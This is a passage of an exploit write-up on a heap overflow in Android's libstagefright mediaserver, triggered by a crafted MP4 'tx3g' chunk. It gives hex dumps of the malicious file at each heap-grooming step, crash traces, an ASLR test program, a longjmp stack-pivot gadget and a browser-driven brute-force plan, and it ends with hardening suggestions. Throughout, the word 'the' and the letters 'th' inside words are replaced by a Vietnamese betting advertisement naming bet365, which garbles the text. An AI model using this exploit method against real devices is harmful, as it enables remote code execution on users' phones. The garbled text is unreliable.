Then we will create our initial ‘tx3g’ allocation. This needs to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size we’re going to write during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memcpy; we’ll make it 64 bytes for now, so that it completely overwrites cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MPEG4DataSource object. The ‘2’s are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytes that will be written outside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 final 32 byte allocation as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overflow.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0068 7472 616b 0000 0010  isom...gtrak....
0000020: 6176 6343 4141 4141 4141 4141 0000 0010  avcCAAAAAAAA....
0000030: 6876 6343 4848 4848 4848 4848 0000 0040  hvcCHHHHHHHH...@
0000040: 7478 3367 3131 3131 3131 3131 3131 3131  tx3g111111111111
0000050: 3131 3131 3131 3131 3131 3131 3232 3232  1111111111112222
0000060: 3232 3232 3232 3232 3232 3232 3232 3232  2222222222222222
0000070: 3232 3232 3232 3232 3232 3232            222222222222

Now we’re ready to start preparing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap. First we defragment for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 targeted allocation size by allocating some ‘pssh’ blocks of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target size:
_________________
| pssh | - | pssh |
```````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
0000070: 3232 3232 3232 3232 3232 3232 0000 0040  222222222222...@
0000080: 7073 7368 6c65 616b 3030 3030 3030 3030  psshleak00000000
0000090: 3030 3030 3030 3030 0000 0020 4c4c 4c4c  00000000... LLLL
00000a0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  LLLLLLLLLLLLLLLL
00000b0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c
...

These blocks have some internal structure; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only part that we are really concerned with is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data.

Then we allocate an avcC and hvcC block of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target size, which should hopefully be contiguous.
________________________
| pssh | - | pssh | avcC |
``````````````````````````
_______________________________
| pssh | - | pssh | avcC | hvcC |
`````````````````````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
0000170: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 0000 0028  LLLLLLLLLLLL...(
0000180: 6176 6343 4141 4141 4141 4141 4141 4141  avcCAAAAAAAAAAAA
0000190: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001a0: 4141 4141 0000 0028 6876 6343 4848 4848  AAAA...(hvcCHHHH
00001b0: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
00001c0: 4848 4848 4848 4848 4848 4848            HHHHHHHHHHHH

In actual fact, we have a temporary allocation occurring during parsing of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 avcC and hvcC blocks, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap will actually look like this:
______________________________________
| pssh | - | pssh | .... | avcC | hvcC |
```````````````````````````````````````
So we need to allocate anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r pssh block to fill cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 space
______________________________________
| pssh | - | pssh | pssh | avcC | hvcC |
```````````````````````````````````````
We can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hvcC block and trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation of our target MPEG4DataSource
______________________________________
| pssh | - | pssh | pssh | avcC | .... |
```````````````````````````````````````
_________________________________________________
| pssh | - | pssh | pssh | avcC | MPEG4DataSource |
```````````````````````````````````````````````````
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
00001c0: 4848 4848 4848 4848 4848 4848 0000 0040  HHHHHHHHHHHH...@
00001d0: 7073 7368 6c65 616b 3030 3030 3030 3030  psshleak00000000
00001e0: 3030 3030 3030 3030 0000 0020 4c4c 4c4c  00000000... LLLL
00001f0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  LLLLLLLLLLLLLLLL
0000200: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 0000 0048  LLLLLLLLLLLL...H
0000210: 6876 6343 4848 4848 4848 4848 4848 4848  hvcCHHHHHHHHHHHH
0000220: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000230: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000240: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000250: 4848 4848 0000 0008 7374 626c            HHHH....stbl

Then inside our ‘stbl’ chunk we just need to release cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘avcC’ chunk and trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘tx3g’ overflow.
_________________________________________________
| pssh | - | pssh | pssh | tx3g | MPEG4DataSource |
```````````````````````````````````````````````````
_________________________________________________
| pssh | - | pssh | pssh | tx3g ---------------------->
```````````````````````````````````````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
0000250: 4848 4848 0000 0060 7374 626c 0000 0048  HHHH...`stbl...H
0000260: 6176 6343 4141 4141 4141 4141 4141 4141  avcCAAAAAAAAAAAA
0000270: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000280: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000290: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002a0: 4141 4141 0000 0001 7478 3367 ffff ffff  AAAA....tx3g....
00002b0: ffff ffe0                                ....

Viewing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resulting file in a webpage in Chrome results in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following stack trace:

libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x3232324e in tid 3794 (mediaserver)
pid: 3794, tid: 3794, name: mediaserver  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x3232324e
   r0 b2e90220  r1 32323232  r2 000002a4  r3 00000000
   r4 b2e90240  r5 ffffffe0  r6 b2e90200  r7 00000000
   r8 fffd1da4  r9 bedcf6b8  sl b604b980  fp b604b9d4
   ip bedcece8  sp bedcf1c0  lr b67dff67  pc b67dff76  cpsr 600f0030

backtrace:
   #00 pc 0008ff76  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+7613)
   #01 pc 0008fac1  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
   #02 pc 0008fac1  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
   #03 pc 0008de7f  /system/lib/libstagefright.so (android::MPEG4Extractor::readMetaData()+78)
   #04 pc 0008de0b  /system/lib/libstagefright.so
(android::MPEG4Extractor::getMetaData()+8)
   #05 pc 000c0e6f  /system/lib/libstagefright.so (android::StagefrightMetadataRetriever::parseMetaData()+38)

Which is exactly what we were aiming for; we crashed trying to load a function address through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vtable pointer for our corrupted data source object.

Now we face what should be a serious challenge at this point; due to ASLR we have no idea where anything is in memory; we need somehow to get some data that we control somewhere that we can do something useful with. Due to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way that Linux/Android implements ASLR for mmap mappings, it is quite easy for us to get an allocation mapped at a predictable address; Jemalloc as configured on my Nexus 5 falls back to directly mmap’ing huge chunks for allocations above 0x40000 bytes.

The behaviour of mmap means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se allocations will simply occur down cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address space linearly from a randomised start address. Since we have a very good idea how much space is going to be used already (loaded libraries and initial arena allocation), cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 randomisation just results in a relatively small window that we need to exhaust in order to get a predictable address. The code that implements cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 randomness (in arch/arm/mm/mmap.c) is as follows:

/* 8 bits of randomness in 20 address space bits */
if ((current->flags & PF_RANDOMIZE) &&
   !(current->personality & ADDR_NO_RANDOMIZE))
 random_factor = (get_random_int() % (1 << 8)) << PAGE_SHIFT;

So our mmap mappings can be anywhere (page aligned, of course) in an 0-0xff000 range from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 maximum position that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can be placed; and we do not need to allocate much memory to exhaust this.

I was initially convinced that I must have misread something, so I coded up a quick test program to validate this:

#include
#include
#include

#include
#include

#define ALLOC_SIZE  0xff000
#define ALLOC_COUNT 0x1

int main(int argc, char** argv) {
 int i = 0;
 char* min_ptr = (char*)0xffffffff;
 char* max_ptr = (char*)0;
 
 for (i = 0; i < ALLOC_COUNT; ++i) {
   char* ptr = mmap(NULL, ALLOC_SIZE,
                    PROT_READ | PROT_WRITE | PROT_EXEC,
                    MAP_PRIVATE | MAP_ANONYMOUS,
                    -1, 0);
   if (ptr < min_ptr) {
     fprintf(stderr, "new min: %p\n", ptr);
     min_ptr = ptr;
   }
   if (ptr + ALLOC_SIZE > max_ptr) {
     fprintf(stderr, "new max: %p\n", ptr + ALLOC_SIZE);
     max_ptr = ptr + ALLOC_SIZE;
   }
   
   memset(ptr, '\xcc', ALLOC_SIZE);
 }
 
 fprintf(stderr, "finished min: %p max %p\n", min_ptr, max_ptr);

 ((void(*)())0xf7500000)();
}

On my Ubuntu x86_64 desktop with /proc/sys/randomize_va_space == 2, compiling and running this as a 32-bit executable reliably results in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address 0xf7500000 being mapped and resulting in a SIGTRAP. Your mileage may vary... Similar tests on my Nexus 5 gave cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same result. I knew that ASLR on 32-bit was always a bit shaky; but I didn’t think it was this broken.

It’s slightly less predictable in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver process, since large amounts of memory may have been used already in previous parsing; but we can reliably get data we control at a predictable address with a relatively small number of allocations.

After a bit of experimentation, it seemed that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best way to achieve this in practice is by wrapping a number of our ‘pssh’ chunks inside a valid sample table (‘stbl’). This triggers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 creation of a caching MPEG4DataSource, which will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n allocate and save all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contained chunks; and will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n be used to parse out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunks. This essentially doubles cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of our spray, reducing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of file needed.

Updating our mp4 to incorporate this page-spray and point cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overwritten vtable pointer to our predictable address gets us one step furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r; control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address called as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vtable function.

Fatal signal 11 (SIGSEGV), code 1, fault addr 0xc01db33e in tid 2223 (Binder_3)
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
pid: 2179, tid: 2223, name: Binder_3  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xc01db33e
    r0 b5967660  r1 b59676d8  r2 01000708  r3 00000000
    r4 b49ff570  r5 ffffff88  r6 c01db33f  r7 b49ff550
    r8 b586e240  r9 74783367  sl b49ffa78  fp b5967640
    ip 00000000  sp b49ff510  lr b66387d5  pc c01db33e  cpsr 400f0030
backtrace:
    #00 pc c01db33e  
    #01 pc 000797d3  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+4610)

So now we have a controlled function call; without ASLR at this point it would be trivially game-over. All that would be needed for a reliable exploit is simply to redirect execution to a convenient gadget to stack pivot, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n build a ROP stack.

Disabling ASLR in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system config I fairly quickly found a useful trick to pivot cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack (our function call is a vtable call, so we will always have r0 set as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 this object, pointing to our corrupted MPEG4DataSource).

Inside longjmp in libc.so, we have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following instruction sequence

.text:00013344    ADD             R2, R0, #0x4C
.text:00013348    LDMIA           R2, {R4, R5, R6, R7, R8, R9, R10, R11, R12, SP, LR}
.text:0001334C    TEQ             SP, #0
.text:00013350    TEQNE           LR, #0
.text:00013354    BEQ             botch_0 ; we won’t take this branch, as we control lr
.text:00013358    MOV             R0, R1
.text:0001335C    TEQ             R0, #0
.text:00013360    MOVEQ           R0, #1
.text:00013364    BX              LR

This will load most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registers, including cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack pointer, from an offset on r0, which points to data we control. At this point it’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n trivial to complete cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit with a ROP chain to allocate some RWX memory, copy in shellcode and jump to it using only functions and gadgets from within libc.so.

Having completed an exploit that works with ASLR disabled, I was planning/expecting to spend a while longer looking for a cunning technique to reliably leverage cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue for a practical exploit without tampering with system settings. I started to investigate a number of different avenues, some of which were more promising than ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs. My usual preferred next step would be to try and leverage this overflow to construct an infoleak to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 information we need about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process.  Since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver is a background process that we’re interacting with in a fairly detached way, this would likely pose a significant effort. One idea considered was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use of an m3u playlist file, which should be able to request remote files; if we could cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n corrupt some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data responsible for handling that playlist, we might be able to leverage that to leak data. Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thought was that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 metadata extracted from parsing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file is likely used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html5

Since we do not know cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 randomised values for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most-significant bytes of an address, we would instead perform a partial overwrite; corrupting only cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 least-significant byte or bytes of a pointer. I looked at partially overwriting a function pointer on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re were some function pointers that could be overwritten, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y were all allocated early in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process startup, racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than during parsing of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mp4 file, and grooming was going to be problematic. I cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n looked at partially overwriting a vtable pointer instead. As our exploit so far is reliably corrupting a vtable pointer, it’s not a problem to adjust this to simply overwrite cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 least-significant byte of that vtable pointer instead. The vtables in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libstagefright library are positioned close to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GOT (Global Offset Table) which is used heavily in position-independent executables, and this means that we have a choice of a very wide range of functions that we could call instead of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 intended function; this could be as subtle as creating a type-confusion with our MPEG4DataSource and anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r DataSource type. Continuing with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit at this point is looking like an extensive assessment of available functions in (and imported by) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 compiled stagefright code to find one which will be useful to us...

We do have an alternative; albeit an inelegant one. The mediaserver process will respawn after a crash, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is 8 bits of entropy in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libc.so base address. This means that we can take a very straightforward approach to bypassing ASLR. We simply choose one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 256 possible base addresses for libc.so, and write our exploit and ROP stack assuming that layout. Launching cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser, we use javascript to keep refreshing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page, and wait for a callback. Eventually memory will be laid out as we expect, bypassing ASLR with brute force in a practical enough way for real-world exploitation.

This is only possible because we can achieve a highly reliable heap-spray to get data we control at a known address, independent of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process randomisation. If we had to brute-force two addresses here, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of our known data and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libc base, this would be less practical.

It’s also interesting to note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver is a special case, at least on my test phone; it isn’t cloned from a zygote process, but is instead directly execve’ed - this means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address space is re-randomised on every exploit attempt. As a result our brute force is not deterministic, and we can’t put a guaranteed upper-bound on time to exploit.

I did some extended testing on my Nexus 5; and results were pretty much as expected. In 4096 exploit attempts I got 15 successful callbacks; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shortest time-to-successful-exploit was lucky, at around 30 seconds, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 longest was over an hour. Given that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver process is throttled to launching once every 5 seconds, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chance of success is 1/256 per attempt, this gives us a ~4% chance of a successful exploit each minute.

So, while it could be more elegant, reliable and effective to use a more sophisticated technique to exploit this bug without requiring a brute-force; it turns out that it’s not really necessary. It’s not unreasonable for a real-world watering hole attack to get a user to browse a page long enough for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit to succeed, especially through in-app adverts using WebView.

During cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last few weeks spent developing this exploit, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re were a couple of additional hardening measures that we discussed internally to Project Zero, and have shared as suggestions to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Android security team.

  • Hardened mmap implementation. Chrome’s PartitionAlloc augments cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 weak randomisation provided by mmap(NULL, …) calls; Android could do a similar thing. This would dramatically reduce cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 effectiveness of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap-spray, making it harder for an attacker to gain that crucial ‘controlled data at a known address’ leveraged in this exploit.
  • Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hardening libc implementation. Existing libc implementations have implemented pointer mangling for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir setjmp/longjmp and similar functions; this has two security benefits. Firstly it protects against corruption of jmp_buf structures, and secondly it prevents an attacker from using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se functions as one-stop ROP gadget/stack pivot.

Neicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se are ‘hard’ mitigations; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir implementation won’t prove non-exploitability of future memory corruption vulnerabilities on Android devices, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir adoption should increase cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cost for attackers in developing reliable exploits for future Android vulnerabilities; and that will be a welcome success.